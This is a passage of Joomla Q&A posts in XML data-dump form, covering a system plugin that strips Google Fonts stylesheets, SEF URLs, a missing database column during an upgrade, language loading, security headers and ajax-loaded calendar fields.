&amp;lt;author&amp;gt;myvendor&amp;lt;/author&amp;gt;&#xA;        &amp;lt;creationDate&amp;gt;October 2018&amp;lt;/creationDate&amp;gt;&#xA;        &amp;lt;copyright&amp;gt;Copyright (c) 2018 myvendorcustomscripts. All rights reserved.&amp;lt;/copyright&amp;gt;&#xA;        &amp;lt;license&amp;gt;http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL&amp;lt;/license&amp;gt;&#xA;        &amp;lt;authorEmail&amp;gt;&amp;lt;/authorEmail&amp;gt;&#xA;        &amp;lt;authorUrl&amp;gt;&amp;lt;/authorUrl&amp;gt;&#xA;        &amp;lt;version&amp;gt;1.0.0&amp;lt;/version&amp;gt;&#xA;        &amp;lt;description&amp;gt;&#xA;        &amp;lt;![CDATA[&#xA;&#xA;        ]]&amp;gt;&#xA;        &amp;lt;/description&amp;gt;&#xA;&#xA;        &amp;lt;files&amp;gt;&#xA;            &amp;lt;filename plugin=&quot;myvendorcustomscripts&quot;&amp;gt;myvendorcustomscripts.php&amp;lt;/filename&amp;gt;&#xA;            &amp;lt;filename&amp;gt;index.html&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;/files&amp;gt;&#xA;&#xA;        &amp;lt;languages&amp;gt;&#xA;            &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;en-GB.plg_system_myvendorcustomscripts.ini&amp;lt;/language&amp;gt;&#xA;            &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;en-GB.plg_system_myvendorcustomscripts.sys.ini&amp;lt;/language&amp;gt;&#xA;        &amp;lt;/languages&amp;gt;&#xA;&#xA;        &amp;lt;config&amp;gt;&#xA;            &amp;lt;fields name=&quot;params&quot;&amp;gt;&#xA;                &amp;lt;fieldset name=&quot;basic&quot;&amp;gt;&#xA;&#xA;                &amp;lt;/fieldset&amp;gt;&#xA;            &amp;lt;/fields&amp;gt;&#xA;        &amp;lt;/config&amp;gt;&#xA;    &amp;lt;/extension&amp;gt;&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And &lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;        &amp;lt;?php&#xA;        /**&#xA;         * @copyright    Copyright (c) 2018 myvendorcustomscripts. All rights reserved.&#xA;         * @license        http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL&#xA;         */&#xA;&#xA;    // no direct access&#xA;        defined('_JEXEC') or die;&#xA;&#xA;        jimport('joomla.plugin.plugin');&#xA;&#xA;        /**&#xA;         * content - MyVendorCustomScripts Plugin&#xA;         *&#xA;         * @package        Joomla.Plugin&#xA;         * @subpakage    myvendorcustomscripts.MyVendorCustomScripts&#xA;         * @since&#xA;         */&#xA;        class plgSystemMyVendorCustomScripts extends JPlugin&#xA;        {&#xA;            /**&#xA;             * Constructor.&#xA;             *&#xA;             * @param    $subject&#xA;             * @param    array $config&#xA;             * @since&#xA;             */&#xA;            public function __construct(&amp;amp;$subject, $config = array())&#xA;            {&#xA;                // call parent constructor&#xA;                parent::__construct($subject, $config);&#xA;            }&#xA;&#xA;&#xA;            public function onAfterRender()&#xA;            {&#xA;                $app = JFactory::getApplication();&#xA;&#xA;            }&#xA;&#xA;&#xA;            public function onBeforeCompileHead()&#xA;            {&#xA;                $app = JFactory::getApplication();&#xA;                $document = $app-&amp;gt;getDocument();&#xA;&#xA;                foreach ($document-&amp;gt;_styleSheets as $index =&amp;gt; $value) {&#xA;                    if (strpos($index, 'fonts.googleapis.com')) {&#xA;                        unset($document-&amp;gt;_styleSheets[$index]);&#xA;                    }&#xA;&#xA;                    if (strpos($index, 'simple-line-icons')) {&#xA;                        unset($document-&amp;gt;_styleSheets[$index]);&#xA;                    }&#xA;&#xA;    //                $styleSheet = $styleSheet;&#xA;                }&#xA;            }&#xA;        }&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However the functions never get executed when I'm browsing the frontend but they do get executed when browsing the backend. It's really strange and I can't understand the reason. It seems on the documentation that this even should trigger always &lt;/p&gt;&#xA;" OwnerUserId="12939" LastActivityDate="2019-12-04T09:43:21.647" Title="onAfterRender plugin only triggers on backend" Tags="|system-plugin|joomla-3.9|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26482" PostTypeId="2" ParentId="26432" CreationDate="2019-12-04T08:27:29.830" Score="0" Body="&lt;p&gt;I was able to get the desired output using &lt;a href=&quot;https://extensions.joomla.org/extension/sh404sef/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/sh404sef/&lt;/a&gt;. The website in question now shows the predefined search results in custom URLs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are a few of them which I was able to achieve:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Original URL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://example.com/search.html?search=&amp;amp;exf_5=2&amp;amp;exf_4=-1&amp;amp;option=com_jomclassifieds&amp;amp;view=search&amp;amp;Itemid=147&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;SEF URL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://example.com/jobs-in-bangalore.html&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Original URL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://example.com/search.html?search=&amp;amp;exf_5=1&amp;amp;exf_4=-1&amp;amp;option=com_jomclassifieds&amp;amp;view=search&amp;amp;Itemid=147&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;SEF URL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://example.com/today-walkins-in-hyderabad.html&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It even works for the links where the keywords are searched.  For example, I searched for the keyword &quot;fresher&quot; and have set the page to render on custom URL:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The actual link was:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://example.com/search.html?search=fresher&amp;amp;exf_5=-1&amp;amp;exf_4=-1&amp;amp;option=com_jomclassifieds&amp;amp;view=search&amp;amp;Itemid=147&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;SEF URL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://example.com/fresher-jobs.html&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6916" LastEditorUserId="12352" LastEditDate="2020-01-03T10:27:20.337" LastActivityDate="2020-01-03T10:27:20.337" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26483" PostTypeId="2" ParentId="26481" CreationDate="2019-12-04T09:43:21.647" Score="2" Body="&lt;p&gt;The code you currently have works. You just need to clear page cache and view the page again. You'll see &lt;code&gt;fonts.googleapis.com&lt;/code&gt; links are removed. This may or may not be fine depending on the rest of your code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When System - Page Cache plugin is enabled, on first load page (determined by URL) on is rendered normally with all expected plugin events triggered and stored to cache during &lt;code&gt;onAfterRespond&lt;/code&gt; event. On following page loads the plugin fetches the page from cache, pushes it to application and closes the application. This happens during &lt;code&gt;onAfterInitialise&lt;/code&gt; event. No further events are triggered. Except &lt;code&gt;onAfterRespond&lt;/code&gt; if debug is enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code you currently have in &lt;code&gt;onBeforeCompileHead&lt;/code&gt; actually works fine because your changes are applied before the page is stored to cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in case you want to add code that is not cache-safe, e.g. code that changes from visitor to visitor or some randomly generated code, you could selectively disable cache using &lt;code&gt;onPageCacheSetCaching&lt;/code&gt; event.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-12-04T09:43:21.647" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26484" PostTypeId="1" CreationDate="2019-12-04T16:11:13.947" Score="0" ViewCount="333" Body="&lt;p&gt;I'm finally upgrading Joomla 2.5 to 3.9 with a step to 3.5.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, whatever I try, I keep getting this &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;error: 1054 Unknown column 'a.extra_query' in 'field list' SQL=SELECT DISTINCT a.update_site_id, a.type, a.location, a.last_check_timestamp, a.extra_query FROM #__update_sites AS a INNER JOIN #__update_sites_extensions AS b ON a.update_site_id = b.update_site_id WHERE a.enabled = 1 AND b.extension_id IN (700)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I tried uninstalling templates, extensions, plugins, but nothing helps.&#xA;After this error website is no longer accessible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions are greatly appreciated&lt;/p&gt;&#xA;" OwnerUserId="13960" LastEditorUserId="12524" LastEditDate="2019-12-04T18:15:54.877" LastActivityDate="2019-12-04T18:28:03.570" Title="1054 Unknown column 'a.extra_query' in 'field list' SQL=SELECT DISTINCT" Tags="|joomla-3.x|joomla-2.5|upgrade|" AnswerCount="1" CommentCount="1" ClosedDate="2019-12-04T22:49:59.257" ContentLicense="CC BY-SA 4.0" />
  <row Id="26485" PostTypeId="2" ParentId="26484" CreationDate="2019-12-04T18:12:57.930" Score="0" Body="&lt;p&gt;The error shows that in &lt;code&gt;#__update_sites&lt;/code&gt; table in your &lt;strong&gt;database&lt;/strong&gt; the column named &lt;code&gt;extra_query&lt;/code&gt; is missing, thus the query cannot be executed. The easiest way to handle this error is creating an &lt;code&gt;extra_query&lt;/code&gt; column in that table. You can do that via &lt;strong&gt;phpMyAdmin&lt;/strong&gt; area on your server account. There are a lot of easy instructions of how to do that, I just link one here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.pair.com/support/kb/adding-a-column-to-a-database-in-phpmyadmin/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.pair.com/support/kb/adding-a-column-to-a-database-in-phpmyadmin/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The field type might be set to &lt;code&gt;TEXT&lt;/code&gt; type (it could be VARCHAR or other type but TEXT is OK and later can be changed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;During the upgrade there probably will be few similar issues (and probably some worse than this issue). So maybe it is better to turn on &lt;code&gt;development mode&lt;/code&gt; in global configuration of your Joomla to see the full stack of errors if/when those happen...&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2019-12-04T18:28:03.570" LastActivityDate="2019-12-04T18:28:03.570" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26486" PostTypeId="1" CreationDate="2019-12-04T18:59:02.537" Score="1" ViewCount="338" Body="&lt;p&gt;I have a a library inside &lt;code&gt;\libraries\mylib\&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That library contains an &lt;code&gt;include.php&lt;/code&gt; which uses following to load language files that are also inside a &lt;code&gt;/language&lt;/code&gt; folder in the library:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$lang = JFactory::getLanguage();&#xA;// load english language file if some constants are not translated&#xA;$lang-&amp;gt;load('mylib', JPATH_SITE . '/libraries/mylib', 'en-GB', true);&#xA;// load active language file&#xA;$lang-&amp;gt;load('mylib', JPATH_SITE . '/libraries/mylib', null, true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My site uses the two languages German and English. The folders inside the library look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;\libraries\mylib\language\de-DE\de-DE.mylib.ini&#xA;\libraries\mylib\language\en-GB\en-GB.mylib.ini&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now to the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;German is setup as the the standard language inside Joomla. So if I run the site in german, the language files in the library get loaded correctly, as shown by the language debugger:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;**Loaded** : JROOT/libraries/mylib/language/en-GB/en-GB.mylib.ini&#xA;**Loaded** : JROOT/libraries/mylib/language/de-DE/de-DE.mylib.ini&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If i switch the language to english the library languages don't get loaded anymore:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Not loaded : JROOT/language/en-GB/en-GB.mylib.ini&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looks like in english the whole library folder path gets lost...?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked everything like filenames, parsing errors, folders ans so on. No idea whats going on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe someone has an idea. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3822" LastActivityDate="2023-12-14T18:04:15.447" Title="Load language files inside custom library" Tags="|custom-component|language|libraries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26487" PostTypeId="2" ParentId="26480" CreationDate="2019-12-04T20:25:29.023" Score="1" Body="&lt;p&gt;If you mean that you want to &lt;strong&gt;harden&lt;/strong&gt; the &lt;strong&gt;HTTP security headers&lt;/strong&gt; of your Joomla site, then you can install + configure a &lt;strong&gt;HttpHeader Plugin&lt;/strong&gt;: &lt;a href=&quot;https://github.com/zero-24/plg_system_httpheader&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/zero-24/plg_system_httpheader&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has an option to configure the &lt;strong&gt;HTTP Content-Security-Policy&lt;/strong&gt; in which you can whitelist which external resources like JavaScript may be loaded on your site by your visitor's browser. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: The future Joomla 4 will have that plugin in the core.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2019-12-04T20:25:29.023" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26489" PostTypeId="2" ParentId="26486" CreationDate="2019-12-05T09:09:05.830" Score="0" Body="&lt;p&gt;Extension-specific language folder is an old and not recommended way of handling language files. Joomla! is moving towards the use of only global language folders. Whether or not your code should still work I can't tell, you might want to ask this on the &lt;a href=&quot;https://issues.joomla.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Issue Tracker&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Until you receive a response there you can workaround the issue by loading your files later during &lt;code&gt;onAfterRoute&lt;/code&gt; event or by moving to use the global language folders as well.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2019-12-05T09:09:05.830" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="26490" PostTypeId="2" ParentId="26469" CreationDate="2019-12-05T09:33:34.130" Score="1" Body="&lt;p&gt;After testing this issue few times, you can realize that via the ajax call the Calendar HTML fields are created but it will not trigger the JoomlaCalendar javascript methods which are needed to create this field fully functional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So this is how it worked&lt;/strong&gt; for me by creating a new JoomlaCalendar object from the loaded HTML fields:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;you need to create a simple, empty HTML &lt;code&gt;div&lt;/code&gt; within your html form and we should add the calendar field inside this div:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;div class=&quot;datefield1&quot; id=&quot;datefield1&quot;&amp;gt;&#xA; &amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;(You can create this &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; with jQuery too if you would like to or you can wrap the html calendar fields in a &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; in your model as you do it already, but for sure it works if the div is there before the ajax call in the DOM).&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;You have to extend you ajax call script with few lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function getFields(){&#xA;    jQuery('#ajax_loader_image_2').show();&#xA;    jQuery('#task').val('profile.getFields');&#xA;    var dataString = jQuery(&quot;#profile-form&quot;).serialize();&#xA;&#xA;return jQuery.ajax({&#xA;    type: 'POST',&#xA;    url: 'index.php',&#xA;    data: dataString,&#xA;    success: function(data){&#xA;       jQuery('#datefield1').html(data);&#xA;       let myDateField1 = document.getElementById('datefield1');&#xA;       new JoomlaCalendar(element = myDateField1);&#xA;    },&#xA;    error: function(result){&#xA;    }&#xA;    });&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You see that &lt;strong&gt;I just added 3 lines&lt;/strong&gt; to your jQuery/ajax call script. And few notes about that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt; I do not think that the request type has to be &lt;code&gt;POST&lt;/code&gt; since there is no important data there to be posted, so the request type could be &lt;code&gt;GET&lt;/code&gt;. We maybe do not need to send &lt;code&gt;#profile-form&lt;/code&gt; data to get the calendar field from you model (I do not see your full requirements regarding this, so this is just a suggestion).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2.&lt;/strong&gt; In the first line of the success function we add the ajax returned html data from our model to our previously created &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; thus our html calendar field is built. (And the reason that it is not functional is because it is not triggering any more javascript at this point which were needed to get a fully functional calendar field).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3.&lt;/strong&gt; In the next two lines of success function We define a new javascript object with selecting our created (wrapper) &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; which can now be a &lt;strong&gt;valid element&lt;/strong&gt; for creating a &lt;strong&gt;new JoomlaCalendar&lt;/strong&gt; object with that (it works if the required joomla calendar javascripts are loaded as you already have them loaded on your page).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And you should have a fully functional JoomlaCalendar field. (it’s tested).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to make sure the above is not misunderstood. The main question is: &lt;strong&gt;how to create a Joomla Calendar form field loaded via an ajax call?&lt;/strong&gt; I'd like to place here a simple clear version of codes based on the question to test the whole thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The function in controller(profile) of the view (profile):&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getFields() {&#xA;          JFactory::getDocument()-&amp;gt;setMimeEncoding( 'application/json' );&#xA;          $model = $this-&amp;gt;getModel();&#xA;          $response = $model-&amp;gt;getFields();          &#xA;          echo $response;          &#xA;          JFactory::getApplication()-&amp;gt;close();&#xA;      }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;the function in the model(profile) called by the controller:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function getFields() {&#xA;        $newDate = date(&quot;Y-m-d H:i:s&quot;);&#xA;        $myDateField = JHtml::calendar($newDate, &quot;field-calendar-150&quot;, &quot;jform-field-150&quot;, '%Y-%m-%d');&#xA;        return $myDateField;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;script with the ajax call in the layout:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;&#xA;function getFields(){&#xA;    jQuery('#ajax_loader_image_2').show();    &#xA;&#xA;    return jQuery.ajax({&#xA;        type: 'GET',&#xA;        url: '/index.php?option=com_mycomponent&amp;amp;view=default_page_html&amp;amp;task=profile.getFields',&#xA;        success: function(data){&#xA;           jQuery('#datefield1').html(data);&#xA;           let myDateField1 = document.getElementById('datefield1');&#xA;           let newElement = myDateField1.firstChild;&#xA;           new JoomlaCalendar(element = newElement);&#xA;        },&#xA;        error: function(result){&#xA;        }&#xA;    });&#xA;}&#xA;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have added one extra line in the success function of the ajax call to make sure that the Calendar field works without any JavaScript undefined parentNode error at blur event. So the above is the simple skeleton of creating a fully functional Joomla Calendar field via using ajax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your particular case in your test component in &lt;code&gt;script_fields.php&lt;/code&gt; your script should be like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;&#xA;jQuery(document).ready(function(){&#xA;    jQuery('#task').val('profile.getFields');&#xA;&#xA;    return jQuery.ajax({&#xA;        type: 'GET',&#xA;        url: 'index.php?option=com_ajaxdate&amp;amp;task=profile.getFields',&#xA;&#xA;        success: function(result) {&#xA;            jQuery('#fields_container').html(result);&#xA;            if (jQuery(&quot;[class*='field-calendar']&quot;)) {&#xA;                let newElement = jQuery(&quot;[class*='field-calendar']&quot;);&#xA;                jQuery.each(newElement, function(index, value) {&#xA;                    if (! value.querySelector('.js-calendar')) {&#xA;                        try {&#xA;                            new JoomlaCalendar(element = value);&#xA;                        } catch {&#xA;                            console.log(&quot;JoomlaCalendar instance is already exists for this element&quot;);&#xA;                        }&#xA;                    }&#xA;                });&#xA;            }&#xA;        },&#xA;        error: function(result){&#xA;            jQuery('#fields_container').html(&quot;no custom fields found&quot;);&#xA;        }&#xA;    });&#xA;&#xA;});&#xA;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In the above script:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;We select all of the DOM elements which has the class name &lt;code&gt;'field-calendar'&lt;/code&gt;. These are obviously the calendar fields in your form.&lt;/li&gt;&#xA;&lt;li&gt;Then we check if the element has already the &lt;code&gt;JoomlaCalendar object instance&lt;/code&gt; applied on or not by checking whether it has a &lt;code&gt;.js-calendar&lt;/code&gt; div child already or not.&lt;/li&gt;&#xA;&lt;li&gt;Then if not, we create a &lt;code&gt;new JoomlaCalendar&lt;/code&gt; Object on that div.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2019-12-25T13:13:10.163" LastActivityDate="2019-12-25T13:13:10.163" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26491" PostTypeId="2" ParentId="4344" CreationDate="2019-12-05T11:07:50.947" Score="0" Body="&lt;p&gt;&lt;strong&gt;Error:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;1054 Unknown column 'a.extra_query' in 'field list' SQL=SELECT DISTINCT a.update_site_id, a.type, a.location, a.last_check_timestamp, a.extra_query FROM #__update_sites AS a INNER JOIN #__update_sites_extensions AS b ON a.update_site_id = b.update_site_id WHERE a.enabled = 1 AND b.extension_id IN (700)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The error (or similar errors) shows that in &lt;code&gt;#__update_sites&lt;/code&gt; table in your database the column named &lt;code&gt;extra_query&lt;/code&gt; is missing, thus the query cannot be executed. The easiest way to handle this error is creating an &lt;code&gt;extra_query&lt;/code&gt; column in that table. You can do that via &lt;strong&gt;phpMyAdmin&lt;/strong&gt; area on your server account. There are a lot of easy instructions of how to do that, I just link one here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.pair.com/support/kb/adding-a-column-to-a-database-in-phpmyadmin/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.pair.com/support/kb/adding-a-column-to-a-database-in-phpmyadmin/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The field type might be set to &lt;code&gt;TEXT&lt;/code&gt; type (it could be VARCHAR or other type but TEXT is OK and later can be changed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe the earlier suggested &lt;strong&gt;fix database&lt;/strong&gt; button pushing is even simpler solution in Joomla admin. The reason I’m giving the above as the answer is that I many times have seen this issue happened with other database table fields too during bigger upgrades, not only Joomla core table fields, and those might not be fixed within Joomla admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;During the upgrade of Joomla sites there probably will be few similar issues (and probably some worse than this issue). So maybe it is better to turn on development mode in global configuration of your Joomla to see the full stack of errors if/when those happen...&lt;/p&gt;&#xA;" OwnerUserId="12524" LastActivityDate="2019-12-05T11:07:50.947" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26492" PostTypeId="2" ParentId="2330" CreationDate="2019-12-05T12:36:28.903" Score="1" Body="&lt;p&gt;The answer by @saibbyweb resulted in an infinite redirect loop in Joomla 3.9. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then figured out that my problem was with the component I was trying to access, &lt;code&gt;com_akeebasubs&lt;/code&gt;, which used:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$this-&amp;gt;container-&amp;gt;platform-&amp;gt;redirect(\JUri::base() .'index.php?option=com_users&amp;amp;view=login&amp;amp;return=' . $myURI);&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The redirect worked properly after I changed this line to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$this-&amp;gt;container-&amp;gt;platform-&amp;gt;redirect(\JRoute::_('index.php?option=com_users&amp;amp;view=login&amp;amp;return=' . $myURI));&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You do need to have a &lt;code&gt;User &amp;gt; Login Form&lt;/code&gt; menu item.&lt;/p&gt;&#xA;" OwnerUserId="13962" LastActivityDate="2019-12-05T12:36:28.903" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26493" PostTypeId="2" ParentId="4442" CreationDate="2019-12-05T13:03:15.313" Score="0" Body="&lt;p&gt;For a more recent answer, I recently came across an issue similar to this. I was finding that the canonical links were refering the wrong site URL (because I initially had a development site that I cloned to be a live site on a new URL). The problem is the canonical links are not relative in Joomla, so after cloning the site the domain was incorrect. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After trawling through the MySQL database, I found that the canonical setting is defined within &lt;strong&gt;Plugins &gt; System - SEF&lt;/strong&gt;. Inside that plugin config you'll see a setting for Site Domain. If you leave this blank, it will disable the canonical tag and remove it from your articles. Alternatively, if you complete it with the correct base URL for your site and it should return the correct canonical URLs for search engines.&lt;/p&gt;&#xA;" OwnerUserId="13604" LastActivityDate="2019-12-05T13:03:15.313" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26494" PostTypeId="1" CreationDate="2019-12-05T14:41:28.997" Score="0" ViewCount="79" Body="&lt;p&gt;I am searching for a option to use the &#xA;article title as a page title &lt;strong&gt;&lt;/strong&gt; if I have defined a custom SEF-menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way which I have found is to set the page title via the menu item. But this brings in senseless confusion on setting title on multiple places. So I would like to define a configuration, which changes the  to use the article title itself.&lt;/p&gt;&#xA;" OwnerUserId="13241" LastActivityDate="2019-12-05T14:41:28.997" Title="how to set &lt;title&gt; tag from article title with custom menu entry?" Tags="|joomla-3.x|seo|metadata|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="26495" PostTypeId="2" ParentId="26478" CreationDate="2019-12-06T09:49:28.320" Score="1" Body="&lt;p&gt;The view file that your component is looking for &lt;code&gt;MycomponentViewViewname&lt;/code&gt; which was used in the Joomla 3, so make sure you are extending the right controller class in your Controller(i.e &lt;code&gt;Joomla\CMS\MVC\Controller\BaseController&lt;/code&gt; or any other class extending it such as &lt;code&gt;AdminController&lt;/code&gt;). If it is from correct namespace track the &lt;code&gt;setView()&lt;/code&gt; for any such changes that can cause the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this doesn't solve your problem then debugging the whole flow will be the option.&#xA;But before that, I will suggest running the extension on some other fresh Joomla 4 setup on default parameters(as maybe some changes are affecting it such as code changes or plugin overrides).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are unable to find any solution you can override the &lt;code&gt;setView()&lt;/code&gt; method in your controller as per your need(this should be the last option).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this might help. Do let us know the solution once you find it.&lt;/p&gt;&#xA;" OwnerUserId="8987" LastActivityDate="2019-12-06T09:49:28.320" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
